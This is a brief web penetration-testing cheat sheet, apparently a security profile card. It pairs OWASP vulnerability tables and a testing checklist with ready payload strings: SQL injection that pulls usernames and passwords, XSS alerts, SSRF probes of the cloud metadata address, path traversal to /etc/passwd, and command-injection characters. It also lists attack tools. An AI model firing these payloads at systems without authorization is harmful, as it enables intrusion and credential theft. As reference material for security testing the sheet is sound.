duck4nh Web Security Expert
OWASP Top 10 Quick Reference
| Vuln | Test | Payload Example |
|---|---|---|
| SQLi | ', ", 1 OR 1=1 |
' UNION SELECT null,username,password FROM users-- |
| XSS | <script>, event handlers |
<img src=x> |
| SSRF | Internal URLs | http://127.0.0.1, http://169.254.169.254 |
| IDOR | Change IDs | /api/user/123 → /api/user/124 |
| LFI | Path traversal | ../../../etc/passwd |
| RCE | Command chars | ; id, ` |
Testing Checklist
Authentication
- Brute force protection
- Password reset flaws
- Session fixation
- JWT vulnerabilities
Authorization
- IDOR on all endpoints
- Privilege escalation
- Missing function level access
Input Validation
- SQLi all parameters
- XSS reflected/stored
- Command injection
- File upload bypass
Quick Payloads
# SQLi
' OR '1'='1
' UNION SELECT null,null,null--
'; WAITFOR DELAY '0:0:5'--
# XSS
<script>alert(document.domain)</script>
<img src=x
javascript:alert(1)
# SSRF
http://127.0.0.1:80
http://[::]:80
http://169.254.169.254/latest/meta-data/
# LFI
....//....//....//etc/passwd
..%252f..%252f..%252fetc/passwd
Tools
| Purpose | Tool |
|---|---|
| Proxy | Burp Suite, OWASP ZAP |
| SQLi | sqlmap |
| XSS | XSStrike, dalfox |
| Fuzzing | ffuf, wfuzz |